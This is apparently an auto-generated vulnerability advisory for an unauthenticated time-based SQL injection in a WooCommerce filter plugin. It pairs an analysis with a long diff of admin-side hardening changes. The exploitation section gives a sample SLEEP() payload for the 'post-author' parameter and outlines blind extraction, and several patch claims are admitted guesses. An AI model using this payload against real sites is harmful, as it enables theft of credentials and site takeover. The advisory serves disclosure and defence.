Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-3396: WCAPF – WooCommerce Ajax Product Filter <= 4.2.3 – Unauthenticated Time-Based SQL Injection (wc-ajax-product-filter)

CVE ID CVE-2026-3396
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 4.2.3
Patched Version 4.3.0
Disclosed April 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3396:

This vulnerability is an unauthenticated time-based SQL injection in the WCAPF – WooCommerce Ajax Product Filter plugin version 4.2.3 and earlier. The issue resides in the handling of the ‘post-author’ parameter, which the plugin uses to construct SQL queries without proper escaping or parameterized queries. The CVSS score is 7.5 (High), indicating significant potential for data extraction.

Root Cause: The plugin fails to sanitize and escape the ‘post-author’ user-supplied parameter before using it in a SQL query. Although the provided code diff does not directly show the vulnerable query, the vulnerability description states that insufficient escaping on the ‘post-author’ parameter and lack of preparation on the existing SQL query allow an attacker to inject malicious SQL. The vulnerable parameter is processed in the front-end filtering logic (likely in a class handling Ajax product filtering), where the plugin concatenates user input directly into SQL statements. The diff primarily shows changes to admin-side files (class-wcapf-admin.php, class-wcapf-api-utils.php, etc.) and does not include the patch for the ‘post-author’ parameter, indicating that the fix was applied elsewhere or that the diff shown is incomplete. However, the admin-side improvements (such as adding access checks, sanitizing $_GET[‘id’] with absint(), and using wp_unslash() and sanitize_text_field() on post titles) indicate a broader security hardening effort, which likely extends to the front-end filtering logic.

Exploitation: An unauthenticated attacker can send a crafted HTTP request to the plugin’s Ajax endpoint (typically /wp-admin/admin-ajax.php) with the action parameter set to the plugin’s filter action and the ‘post-author’ parameter containing SQL injection payloads. A time-based blind SQL injection payload, such as ‘ AND (SELECT IF(1=1,SLEEP(5),0)) — , appended to the ‘post-author’ value, would cause a measurable delay in the response, confirming the injection. The attacker can then iterate through database contents by extracting information character by character using conditional SLEEP() statements. The vulnerable parameter is evaluated in SQL queries without proper preparation, allowing multiple SQL statements or sub-queries to be injected.

Patch Analysis: The provided diff does not include the specific patch for the ‘post-author’ parameter SQL injection, as the diff focuses on admin-side files. The admin-side changes show improved input validation (absint() on $_GET[‘id’], wp_unslash() and sanitize_text_field() on post titles, escaping in JavaScript output with esc_js(), and adding ABSPATH checks). These changes harden the admin area but are not the direct fix. The actual SQL injection fix for the ‘post-author’ parameter would involve either using prepared statements (e.g., $wpdb->prepare()) or sanitizing the input with intval() if the parameter is expected to be an integer, and ensuring that the parameter is not concatenated directly into SQL strings. The patch likely modifies the front-end filtering class to use wpdb->prepare() with placeholders for the ‘post-author’ value, preventing injection.

Impact: Successful exploitation allows an unauthenticated attacker to extract sensitive information from the WordPress database, including user credentials (hashed passwords), user emails, session tokens, and other WordPress options. Time-based blind SQL injection is slower but reliable, enabling full database enumeration. This can lead to account compromise, privilege escalation, and potentially full site takeover if combined with other vulnerabilities or if high-privilege user hashes are cracked. The attacker does not need any authentication, making the vulnerability easily exploitable by remote attackers.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wc-ajax-product-filter/build/form.asset.php
+++ b/wc-ajax-product-filter/build/form.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => '989ca2867ffeee42d68e');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => 'ce3dee3c876dd11dfb86');
--- a/wc-ajax-product-filter/build/list-forms.asset.php
+++ b/wc-ajax-product-filter/build/list-forms.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices'), 'version' => 'c3d09ea5c2c68ff72f3a');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices'), 'version' => '6de23891432cc434b519');
--- a/wc-ajax-product-filter/build/seo-rules.asset.php
+++ b/wc-ajax-product-filter/build/seo-rules.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices'), 'version' => '4316b0ecd265165c27a5');
+<?php return array('dependencies' => array('lodash', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices'), 'version' => 'e0c6202a23641340fe26');
--- a/wc-ajax-product-filter/build/settings.asset.php
+++ b/wc-ajax-product-filter/build/settings.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-media-utils', 'wp-notices', 'wp-primitives'), 'version' => '0fdff61b197883c24f65');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-media-utils', 'wp-notices', 'wp-primitives'), 'version' => 'c32df8c5d038ac348b75');
--- a/wc-ajax-product-filter/includes/class-wcapf-admin.php
+++ b/wc-ajax-product-filter/includes/class-wcapf-admin.php
@@ -5,9 +5,14 @@
  * @since      3.0.0
  * @package    wc-ajax-product-filter
  * @subpackage wc-ajax-product-filter/includes
- * @author     wptools.io
+ * @author     Mainul Hassan
  */

+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * WCAPF_Admin class.
  *
@@ -16,9 +21,21 @@
 class WCAPF_Admin {

 	/**
+	 * Core plugin version.
+	 *
+	 * Uses the free/basic plugin version when available; otherwise falls back
+	 * to the main plugin version.
+	 *
+	 * @var string
+	 */
+	private $core_version;
+
+	/**
 	 * The constructor.
 	 */
 	public function __construct() {
+		$this->core_version = defined( 'WCAPF_BASIC_VERSION' ) ? WCAPF_BASIC_VERSION : WCAPF_VERSION;
+
 		$plugin_file = plugin_basename( WCAPF_PLUGIN_FILE );
 		add_filter( 'plugin_action_links_' . $plugin_file, array( $this, 'plugin_action_links' ) );

@@ -92,7 +109,7 @@
 	 */
 	public function register_admin_pages() {
 		add_menu_page(
-			'WCAPF - WooCommerce Ajax Product Filter',
+			'WCAPF – Ajax Product Filter for WooCommerce',
 			'WCAPF',
 			'manage_options',
 			'wcapf',
@@ -100,18 +117,9 @@
 			'dashicons-filter'
 		);

-		// add_submenu_page(
-		// 	'wcapf',
-		// 	__( 'WCAPF - WooCommerce Ajax Product Filter - SEO Rules', 'wc-ajax-product-filter' ),
-		// 	__( 'SEO Rules', 'wc-ajax-product-filter' ),
-		// 	'manage_options',
-		// 	'wcapf-seo-rules',
-		// 	array( $this, 'render_seo_rules' )
-		// );
-
 		add_submenu_page(
 			'wcapf',
-			__( 'WCAPF - WooCommerce Ajax Product Filter - Settings', 'wc-ajax-product-filter' ),
+			__( 'WCAPF – Ajax Product Filter for WooCommerce - Settings', 'wc-ajax-product-filter' ),
 			__( 'Settings', 'wc-ajax-product-filter' ),
 			'manage_options',
 			'wcapf-settings',
@@ -119,28 +127,31 @@
 		);
 	}

+	/**
+	 * Renders the root element for the React UI for forms' admin pages.
+	 *
+	 * @return void
+	 */
 	public function render_form() {
-		if ( isset( $_GET['id'] ) ) {
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Used only to determine which admin screen to load.
+		if ( isset( $_GET['id'] ) && absint( wp_unslash( $_GET['id'] ) ) ) {
 			$element = '<div id="wcapf-form-admin-ui"></div>';
 		} else {
 			$element = '<div id="wcapf-forms-list-admin-ui"></div>';
 		}

-		echo $element;
+		echo wp_kses_post( $element );
 	}

-	// public function render_seo_rules() {
-	// 	echo '<div id="wcapf-seo-rules-admin-ui"></div>';
-	// }
-
+	/**
+	 * Renders the root element for the React UI for plugin settings page.
+	 *
+	 * @return void
+	 */
 	public function render_settings() {
 		echo '<div id="wcapf-settings-admin-ui"></div>';
 	}

-	// public function render_upgrade_page() {
-	// 	WCAPF_Template_Loader::get_instance()->load( 'admin/upgrade-to-pro' );
-	// }
-
 	/**
 	 * Modify the label of custom admin menu.
 	 *
@@ -158,6 +169,7 @@
 				$new_data[0][0] = __( 'Forms', 'wc-ajax-product-filter' );
 			}

+			// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Intentionally modifying submenu label for this plugin menu.
 			$submenu['wcapf'] = $new_data;
 		}
 	}
@@ -172,7 +184,7 @@
 	 * @return void
 	 */
 	public function disable_admin_notices() {
-		if ( in_array( $this->current_screen_id(), $this->slugs_of_custom_admin_pages() ) ) {
+		if ( in_array( $this->current_screen_id(), $this->slugs_of_custom_admin_pages(), true ) ) {
 			remove_all_actions( 'admin_notices' );
 		}
 	}
@@ -191,6 +203,8 @@
 	}

 	/**
+	 * Returns the slugs of admin pages.
+	 *
 	 * @return string[]
 	 */
 	private function slugs_of_custom_admin_pages() {
@@ -213,8 +227,8 @@
 	 */
 	public function enqueue_admin_ui_scripts( $hook ) {
 		// Load the dependent js variables before loading other scripts.
-		if ( in_array( $hook, $this->slugs_of_custom_admin_pages() ) ) {
-			wp_register_script( 'wcapf-admin-scripts', false );
+		if ( in_array( $hook, $this->slugs_of_custom_admin_pages(), true ) ) {
+			wp_register_script( 'wcapf-admin-scripts', false, array(), $this->core_version, true );

 			wp_localize_script(
 				'wcapf-admin-scripts',
@@ -235,7 +249,7 @@

 		if ( 'toplevel_page_wcapf' === $hook ) {
 			// Forms list admin ui scripts.
-			if ( ! isset( $_GET['id'] ) ) {
+			if ( ! isset( $_GET['id'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Used only to determine which admin screen to load.
 				$this->load_scripts( 'list-forms' );
 			} else {
 				// Loads the media utils.
@@ -243,12 +257,6 @@

 				// Single form admin ui scripts.
 				$this->load_scripts( 'form' );
-
-				// Loads the js script that converts our filter key into slug.
-				wp_enqueue_script(
-					'wcapf-sanitize-title',
-					WCAPF_PLUGIN_URL . 'admin/lib/wp-fe-sanitize-title.js'
-				);
 			}
 		}

@@ -266,12 +274,6 @@
 			wp_enqueue_media();

 			$this->load_scripts( 'settings' );
-
-			// Loads the js script that converts our filter key into slug.
-			wp_enqueue_script(
-				'wcapf-sanitize-title',
-				WCAPF_PLUGIN_URL . 'admin/lib/wp-fe-sanitize-title.js'
-			);
 		}
 	}

@@ -283,41 +285,39 @@
 	private function admin_js_params() {
 		$params = array(
 			'ajaxurl'      => admin_url( 'admin-ajax.php' ),
-			'free_version' => defined( 'WCAPF_BASIC_VERSION' ) ? WCAPF_BASIC_VERSION : WCAPF_VERSION,
+			'free_version' => $this->core_version,
 			'pro_version'  => defined( 'WCAPF_PRO_VERSION' ) ? WCAPF_PRO_VERSION : false,
 			'wp_version'   => get_bloginfo( 'version' ),
 			'dirty'        => false,
 			'nonce'        => wp_create_nonce( 'wcapf-nonce' ),
 		);

-		$helper = new WCAPF_Helper();
-		$utils  = new WCAPF_API_Utils();
-
-		$params['forms_page_link']     = $helper::forms_page_url();
-		$params['seo_rules_page_link'] = $helper::seo_rules_page_url();
-		$params['settings_page_link']  = $helper::settings_page_url();
-		$params['upgrade_page_link']   = $helper::upgrade_page_url();
+		$params['forms_page_link']     = WCAPF_Helper::forms_page_url();
+		$params['seo_rules_page_link'] = WCAPF_Helper::seo_rules_page_url();
+		$params['settings_page_link']  = WCAPF_Helper::settings_page_url();
+		$params['upgrade_page_link']   = WCAPF_Helper::upgrade_page_url();

 		$screen_id  = $this->current_screen_id();
-		$user_roles = $utils::user_role_options();
+		$user_roles = WCAPF_API_Utils::user_role_options();

 		if ( 'toplevel_page_wcapf' === $screen_id ) {
 			$params['form_default_data'] = WCAPF_Default_Data::form_default_data();

+			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Used only to determine which admin screen to load.
 			if ( ! isset( $_GET['id'] ) ) {
-				$params['forms'] = $utils::get_forms();
+				$params['forms'] = WCAPF_API_Utils::get_forms();
 			} else {
-				$settings = $helper::get_settings();
+				$settings = WCAPF_Helper::get_settings();

 				$params['filter_default_data'] = WCAPF_Default_Data::filter_default_data();

-				$params['filter_types']    = $utils::get_filter_types();
-				$params['meta_keys']       = $helper::get_available_meta_keys();
-				$params['date_formats']    = $utils::display_date_formats();
-				$params['status_options']  = $utils::product_status_options();
-				$params['time_periods']    = $utils::time_period_options();
-				$params['sort_by_options'] = $utils::sort_by_options();
-				$params['meta_types']      = $utils::meta_type_options();
+				$params['filter_types']    = WCAPF_API_Utils::get_filter_types();
+				$params['meta_keys']       = WCAPF_Helper::get_available_meta_keys();
+				$params['date_formats']    = WCAPF_API_Utils::display_date_formats();
+				$params['status_options']  = WCAPF_API_Utils::product_status_options();
+				$params['time_periods']    = WCAPF_API_Utils::time_period_options();
+				$params['sort_by_options'] = WCAPF_API_Utils::sort_by_options();
+				$params['meta_types']      = WCAPF_API_Utils::meta_type_options();
 				$params['user_roles']      = $user_roles;

 				$params['author_roles']            = isset( $settings['author_roles'] )
@@ -325,12 +325,13 @@
 				$params['multiple_form_locations'] = isset( $settings['multiple_form_locations'] )
 					? $settings['multiple_form_locations'] : '';

-				$post_id = $_GET['id'];
+				// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Used only to fetch the form ID for admin UI rendering.
+				$post_id = absint( wp_unslash( $_GET['id'] ) );
 				$post    = get_post( $post_id );

 				$params['form_data'] = array(
 					'post_id'    => $post_id,
-					'post_title' => $post->post_title,
+					'post_title' => $post ? sanitize_text_field( $post->post_title ) : '',
 				);
 			}
 		}
@@ -339,9 +340,9 @@
 			$params['default_settings'] = WCAPF_Default_Data::default_settings();

 			$params['user_roles'] = $user_roles;
-			$params['settings']   = $utils::get_settings();
+			$params['settings']   = WCAPF_API_Utils::get_settings();

-			$params['global_filter_keys'] = $utils::get_filter_keys( true );
+			$params['global_filter_keys'] = WCAPF_API_Utils::get_filter_keys( true );
 		}

 		$params['widgets_page_link'] = admin_url( 'widgets.php' );
@@ -354,9 +355,9 @@
 	}

 	/**
-	 * The helper function to load the js build scripts.
+	 * Loads the built admin scripts and styles for a given screen.
 	 *
-	 * @param string $file The file name.
+	 * @param string $file The build file name without extension.
 	 *
 	 * @return void
 	 */
@@ -364,13 +365,21 @@
 		$asset_path = WCAPF_PLUGIN_DIR . '/build/' . $file . '.asset.php';

 		if ( ! file_exists( $asset_path ) ) {
-			/** @noinspection PhpMultipleClassDeclarationsInspection */
-			throw new Error(
-				'You need to run `npm start` or `npm run build` for the ' . $file . ' admin ui'
+			wp_die(
+				wp_kses_post(
+					sprintf(
+						/* translators: %s: admin build file name. */
+						__(
+							'You need to run <code>npm start</code> or <code>npm run build</code> for the %s admin UI.',
+							'wc-ajax-product-filter'
+						),
+						esc_html( $file )
+					)
+				)
 			);
 		}

-		$asset_file = require( $asset_path );
+		$asset_file = require $asset_path;
 		$handle     = 'wcapf-' . $file . '-admin';
 		$js_file    = 'build/' . $file . '.js';
 		$css_file   = 'build/' . $file . '.css';
@@ -385,15 +394,23 @@
 			$handle,
 			plugins_url( $js_file, WCAPF_PLUGIN_FILE ),
 			$asset_file['dependencies'],
-			$asset_file['version']
+			$asset_file['version'],
+			true
 		);

 		// Set up translations for the script.
-		wp_set_script_translations(
-			$handle,
-			'wc-ajax-product-filter',
-			plugin_dir_path( WCAPF_PLUGIN_FILE ) . 'languages'
-		);
+		if ( defined( 'WCAPF_PRO_VERSION' ) ) {
+			wp_set_script_translations(
+				$handle,
+				'wc-ajax-product-filter',
+				plugin_dir_path( WCAPF_PLUGIN_FILE ) . 'languages'
+			);
+		} else {
+			wp_set_script_translations(
+				$handle,
+				'wc-ajax-product-filter'
+			);
+		}

 		// Load the style file.
 		wp_enqueue_style(
@@ -412,7 +429,7 @@
 	 * @return void
 	 */
 	public function enqueue_review_notices_styles() {
-		if ( ! in_array( $this->current_screen_id(), $this->slugs_of_custom_admin_pages() ) ) {
+		if ( ! in_array( $this->current_screen_id(), $this->slugs_of_custom_admin_pages(), true ) ) {
 			return;
 		}
 		?>
@@ -433,7 +450,7 @@
 	 * @return void
 	 */
 	public function enqueue_review_notices_scripts() {
-		if ( ! in_array( $this->current_screen_id(), $this->slugs_of_custom_admin_pages() ) ) {
+		if ( ! in_array( $this->current_screen_id(), $this->slugs_of_custom_admin_pages(), true ) ) {
 			return;
 		}

@@ -456,7 +473,7 @@

 				var data = {
 					action: 'wcapf_dismiss_review_notices',
-					nonce: '<?php echo $nonce; ?>',
+					nonce: '<?php echo esc_js( $nonce ); ?>',
 					type,
 				};

@@ -479,12 +496,16 @@
 		// Verify the AJAX request nonce.
 		check_ajax_referer( 'wcapf-dismiss-review-notices-nonce', 'nonce' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( __( 'Unauthorized request', 'wc-ajax-product-filter' ) );
+		}
+
 		// Get the type parameter from the request.
-		$type = ! empty( $_REQUEST['type'] ) ? sanitize_text_field( $_REQUEST['type'] ) : '';
+		$type = ! empty( $_REQUEST['type'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['type'] ) ) : '';

 		// If the type parameter is missing, send an error response.
 		if ( ! $type ) {
-			wp_send_json_error( 'Invalid type for dismissing the review notices' );
+			wp_send_json_error( __( 'Invalid type for dismissing the review notices', 'wc-ajax-product-filter' ) );
 		}

 		// Get the current user ID.
@@ -504,9 +525,8 @@
 		}

 		// Send a success response.
-		wp_send_json_success( 'WCAPF review notice dismissed' );
+		wp_send_json_success( __( 'WCAPF review notice dismissed', 'wc-ajax-product-filter' ) );
 	}
-
 }

 if ( is_admin() ) {
--- a/wc-ajax-product-filter/includes/class-wcapf-api-utils.php
+++ b/wc-ajax-product-filter/includes/class-wcapf-api-utils.php
@@ -5,9 +5,14 @@
  * @since      4.0.0
  * @package    wc-ajax-product-filter
  * @subpackage wc-ajax-product-filter/includes
- * @author     wptools.io
+ * @author     Mainul Hassan
  */

+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * WCAPF_API_Utils class.
  *
@@ -15,6 +20,16 @@
  */
 class WCAPF_API_Utils {

+	/**
+	 * Retrieves the global filter key for the given filter data.
+	 *
+	 * Matches the provided filter data against the registered filter keys and
+	 * returns the corresponding filter key when a match is found.
+	 *
+	 * @param array $filter_data Filter data.
+	 *
+	 * @return string Global filter key if found, otherwise an empty string.
+	 */
 	public static function get_global_filter_key( $filter_data ) {
 		$filter_keys     = self::get_filter_keys();
 		$filter_type     = isset( $filter_data['type'] ) ? $filter_data['type'] : '';
@@ -53,11 +68,16 @@
 	}

 	/**
-	 * @param $global
+	 * Retrieves filter keys.
+	 *
+	 * Returns filter key data for all saved filters. When `$is_global` is true,
+	 * duplicate global filters are excluded and additional label data is added.
 	 *
-	 * @return array
+	 * @param bool $is_global Whether to return only unique global filter keys.
+	 *
+	 * @return array Filter keys.
 	 */
-	public static function get_filter_keys( $global = false ) {
+	public static function get_filter_keys( $is_global = false ) {
 		$filters = get_posts(
 			array(
 				'post_type'   => 'wcapf-filter',
@@ -73,11 +93,14 @@
 		$taxonomy_options   = self::get_available_taxonomies();
 		$global_filter_keys = array();

+		$taxonomy_lookup = array_column( $taxonomy_options, null, 'value' );
+		$type_lookup     = array_column( $filter_types, null, 'value' );
+
 		foreach ( $filters as $filter ) {
 			$filter_id    = $filter->ID;
 			$filter_key   = $filter->post_name;
 			$post_excerpt = html_entity_decode( $filter->post_excerpt );
-			$filter_data  = explode( '>', $post_excerpt );
+			$filter_data  = explode( '>', trim( $post_excerpt ) );
 			$type         = isset( $filter_data[0] ) ? $filter_data[0] : '';
 			$filter_type  = $type;
 			$property     = isset( $filter_data[1] ) ? $filter_data[1] : '';
@@ -94,34 +117,38 @@

 			if ( 'taxonomy' === $type ) {
 				$data['taxonomy'] = $property;
-			} else if ( 'post-meta' === $type ) {
+			} elseif ( 'post-meta' === $type ) {
+				// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key -- Not a database query.
 				$data['meta_key'] = $property;
 			}

-			if ( $global ) {
+			if ( $is_global ) {
 				unset( $data['id'] );

 				if ( 'taxonomy' === $type ) {
-					$data_index    = array_search( $property, array_column( $taxonomy_options, 'value' ) );
-					$taxonomy_data = $taxonomy_options[ $data_index ];
-					$data['label'] = $taxonomy_data['label'];
+					$taxonomy_data = isset( $taxonomy_lookup[ $property ] ) ? $taxonomy_lookup[ $property ] : null;
+
+					if ( $taxonomy_data ) {
+						$data['label'] = $taxonomy_data['label'];
+					}
 				} else {
-					$data_index   = array_search( $type, array_column( $filter_types, 'value' ) );
-					$_filter_data = $filter_types[ $data_index ];
+					$_filter_data = isset( $type_lookup[ $type ] ) ? $type_lookup[ $type ] : null;

-					$label = $_filter_data['label'];
+					if ( $_filter_data ) {
+						$label = $_filter_data['label'];

-					if ( 'post-meta' === $type ) {
-						$label .= '[' . $property . ']';
-					}
+						if ( 'post-meta' === $type ) {
+							$label .= '[' . $property . ']';
+						}

-					$data['label'] = $label;
+						$data['label'] = $label;
+					}
 				}

 				$data['secondary_type'] = $post_excerpt;
 				$data['_field_key']     = $filter_key; // Keep a backup for updating purposes.

-				if ( ! in_array( $post_excerpt, $global_filter_keys ) ) {
+				if ( ! in_array( $post_excerpt, $global_filter_keys, true ) ) {
 					$filter_keys[] = $data;

 					$global_filter_keys[] = $post_excerpt;
@@ -131,13 +158,13 @@
 			}
 		}

-		return apply_filters( 'wcapf_filter_keys', $filter_keys, $global );
+		return apply_filters( 'wcapf_filter_keys', $filter_keys, $is_global );
 	}

 	/**
-	 * Gets the filter types.
+	 * Retrieves available filter types.
 	 *
-	 * @return array[]
+	 * @return array Filter types.
 	 */
 	public static function get_filter_types() {
 		return array(
@@ -207,29 +234,19 @@
 						'type'  => 'component',
 						'isPro' => true,
 					),
-					// array(
-					// 	'label' => __( 'Apply Mode', 'wc-ajax-product-filter' ),
-					// 	'value' => 'apply-mode',
-					// 	'type'  => 'component',
-					// 	'isPro' => true,
-					// ),
-					// array(
-					// 	'label' => __( 'Submit Mode', 'wc-ajax-product-filter' ),
-					// 	'value' => 'submit-mode',
-					// 	'type'  => 'component',
-					// 	'isPro' => true,
-					// ),
 				),
 			),
 		);
 	}

 	/**
-	 * Gets the available taxonomies after sorting them.
+	 * Retrieves available product taxonomies.
+	 *
+	 * Returns taxonomy data formatted for use in the plugin UI.
 	 *
-	 * @param bool $only_with_archive Whether to return the taxonomies with archive enabled or not.
+	 * @param bool $only_with_archive Whether to return only viewable taxonomies with archive support.
 	 *
-	 * @return array
+	 * @return array Available taxonomies.
 	 */
 	public static function get_available_taxonomies( $only_with_archive = false ) {
 		$tax_data   = get_object_taxonomies( 'product', 'objects' );
@@ -244,7 +261,7 @@
 		foreach ( $tax_data as $taxonomy ) {
 			$name = $taxonomy->name;

-			if ( ! in_array( $name, $array ) ) {
+			if ( ! in_array( $name, $array, true ) ) {
 				$others[] = $name;
 			}
 		}
@@ -260,9 +277,9 @@
 				continue;
 			}

-			if ( in_array( $name, $main_taxonomies ) || in_array( $name, $optional_taxonomies ) ) {
+			if ( in_array( $name, $main_taxonomies, true ) || in_array( $name, $optional_taxonomies, true ) ) {
 				$default_filter_key = str_replace( '_', '-', $name );
-			} elseif ( in_array( $name, $attributes ) ) {
+			} elseif ( in_array( $name, $attributes, true ) ) {
 				$default_filter_key = str_replace( 'pa_', '', $name );
 			} else {
 				// Check if pro version found and pretty url is enabled then don't add the underscore.
@@ -281,6 +298,11 @@
 		return $taxonomies;
 	}

+	/**
+	 * Retrieves available display date formats.
+	 *
+	 * @return array Display date formats.
+	 */
 	public static function display_date_formats() {
 		return apply_filters(
 			'wcapf_display_date_formats',
@@ -297,6 +319,11 @@
 		);
 	}

+	/**
+	 * Retrieves product status options.
+	 *
+	 * @return array Product status options.
+	 */
 	public static function product_status_options() {
 		return apply_filters(
 			'wcapf_product_status_options',
@@ -314,7 +341,9 @@
 	}

 	/**
-	 * @return array
+	 * Retrieves time period options.
+	 *
+	 * @return array Time period options.
 	 */
 	public static function time_period_options() {
 		$_time_period_options = WCAPF_Helper::get_time_period_options();
@@ -331,7 +360,9 @@
 	}

 	/**
-	 * @return array
+	 * Retrieves sort-by options.
+	 *
+	 * @return array Sort-by options.
 	 */
 	public static function sort_by_options() {
 		return apply_filters(
@@ -398,9 +429,9 @@
 	}

 	/**
-	 * Gets the meta types.
+	 * Retrieves meta type options.
 	 *
-	 * @return array
+	 * @return array Meta type options.
 	 */
 	public static function meta_type_options() {
 		return apply_filters(
@@ -435,6 +466,11 @@
 		);
 	}

+	/**
+	 * Retrieves user role options.
+	 *
+	 * @return array User role options.
+	 */
 	public static function user_role_options() {
 		$_user_roles = WCAPF_Product_Filter_Utils::get_user_roles();
 		$user_roles  = array();
@@ -449,11 +485,21 @@
 		return $user_roles;
 	}

+	/**
+	 * Sanitizes manual option data.
+	 *
+	 * Allows limited HTML for label-related fields and sanitizes all other values
+	 * as plain text.
+	 *
+	 * @param array $data Manual option data.
+	 *
+	 * @return array Sanitized manual option data.
+	 */
 	public static function sanitize_manual_option_data( $data ) {
 		$sanitized = array();

 		foreach ( $data as $key => $_value ) {
-			if ( in_array( $key, array( 'label', 'secondary_label', 'tooltip' ) ) ) {
+			if ( in_array( $key, array( 'label', 'secondary_label', 'tooltip' ), true ) ) {
 				$value = wp_kses_post( $_value );
 			} else {
 				$value = sanitize_text_field( $_value );
@@ -466,21 +512,21 @@
 	}

 	/**
-	 * Gets the plugin settings for our React UI.
+	 * Retrieves plugin settings for the admin UI.
 	 *
-	 * @return array
+	 * @return array Plugin settings.
 	 */
 	public static function get_settings() {
 		$settings = WCAPF_Helper::get_settings();

 		// Send the author roles with labels.
-		if ( ! empty ( $settings['author_roles'] ) ) {
+		if ( ! empty( $settings['author_roles'] ) ) {
 			$array       = WCAPF_Product_Filter_Utils::get_user_roles();
 			$with_labels = array();

 			foreach ( $settings['author_roles'] as $role_name ) {
 				$with_labels[] = array(
-					'label' => $array[ $role_name ],
+					'label' => isset( $array[ $role_name ] ) ? $array[ $role_name ] : $role_name,
 					'value' => $role_name,
 				);
 			}
@@ -488,13 +534,23 @@
 			$settings['author_roles'] = $with_labels;
 		}

+		/**
+		 * Filters the parsed plugin settings.
+		 *
+		 * Allows modification of the settings array before it is returned for use
+		 * in the admin UI or other plugin logic.
+		 *
+		 * @param array $settings Parsed plugin settings.
+		 *
+		 * @return array Filtered plugin settings.
+		 */
 		return apply_filters( 'wcapf_parse_settings', $settings );
 	}

 	/**
-	 * Gets the forms for our React UI.
+	 * Retrieves all forms for the admin forms list UI.
 	 *
-	 * @return array
+	 * @return array Forms data.
 	 */
 	public static function get_forms() {
 		$args = array(
@@ -507,18 +563,24 @@
 		$forms = array();

 		foreach ( $posts as $post ) {
-			$forms[] = self::get_form_data( $post );
+			$form_data = self::get_form_data( $post );
+
+			if ( ! empty( $form_data ) ) {
+				$forms[] = $form_data;
+			}
 		}

 		return $forms;
 	}

 	/**
-	 * Gets the form data for given id.
+	 * Retrieves form data for the admin forms list UI.
 	 *
-	 * @param int|WP_Post $post Post ID or post object.
+	 * Accepts a post object or post ID and returns the parsed form data.
 	 *
-	 * @return array
+	 * @param WP_Post|int $post Post object or post ID.
+	 *
+	 * @return array Form data.
 	 */
 	public static function get_form_data( $post ) {
 		if ( $post instanceof WP_Post ) {
@@ -527,6 +589,10 @@
 			$_post = get_post( $post );
 		}

+		if ( ! $_post instanceof WP_Post ) {
+			return array();
+		}
+
 		$id = $_post->ID;

 		$data = array(
@@ -539,5 +605,4 @@
 		 */
 		return apply_filters( 'wcapf_admin_form_data', $data, $id );
 	}
-
 }
--- a/wc-ajax-product-filter/includes/class-wcapf-default-data.php
+++ b/wc-ajax-product-filter/includes/class-wcapf-default-data.php
@@ -5,9 +5,14 @@
  * @since      4.0.0
  * @package    wc-ajax-product-filter
  * @subpackage wc-ajax-product-filter/includes
- * @author     wptools.io
+ * @author     Mainul Hassan
  */

+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * WCAPF_Default_Data class.
  *
@@ -15,19 +20,24 @@
  */
 class WCAPF_Default_Data {

+	/**
+	 * Returns an array containing the default data for the form.
+	 *
+	 * @return array An array containing the default data for the form.
+	 */
 	public static function form_default_data() {
 		return array(
 			'form_locations' => '',
 			'priority'       => '0',
-			// 'form_layout' => 'vertical',
-			// 'columns_per_row' => '4',
-			// 'show_form_on_top_of_products' => '1',
-			// 'filter_mode' => 'immediate',
-			// 'form_visibility' => 'always_display',
 			'show_clear_btn' => '',
 		);
 	}

+	/**
+	 * Returns an array containing the default settings for the plugin.
+	 *
+	 * @return array An array containing the default settings for the plugin.
+	 */
 	public static function default_settings() {
 		return array(
 			// General
@@ -104,11 +114,18 @@
 			// Miscellaneous
 			'debug_mode'                       => '1',
 			'disable_wcapf'                    => '',
-			'send_anonymous_data'              => '',
 			'remove_data'                      => '',
 		);
 	}

+	/**
+	 * Returns sample filter data.
+	 *
+	 * Generates a sample set of filters for a form, including product category,
+	 * price, attributes, product tag, product status, rating, and reset button.
+	 *
+	 * @return array Sample filter data.
+	 */
 	public static function get_sample_filters() {
 		$filters_basic_data = array();

@@ -152,20 +169,22 @@
 				)
 			);

-			if ( $attribute_terms ) {
+			if ( ! is_wp_error( $attribute_terms ) && ! empty( $attribute_terms ) ) {
 				$taxonomy_data = get_taxonomy( $attribute );

-				$filters_basic_data[] = array(
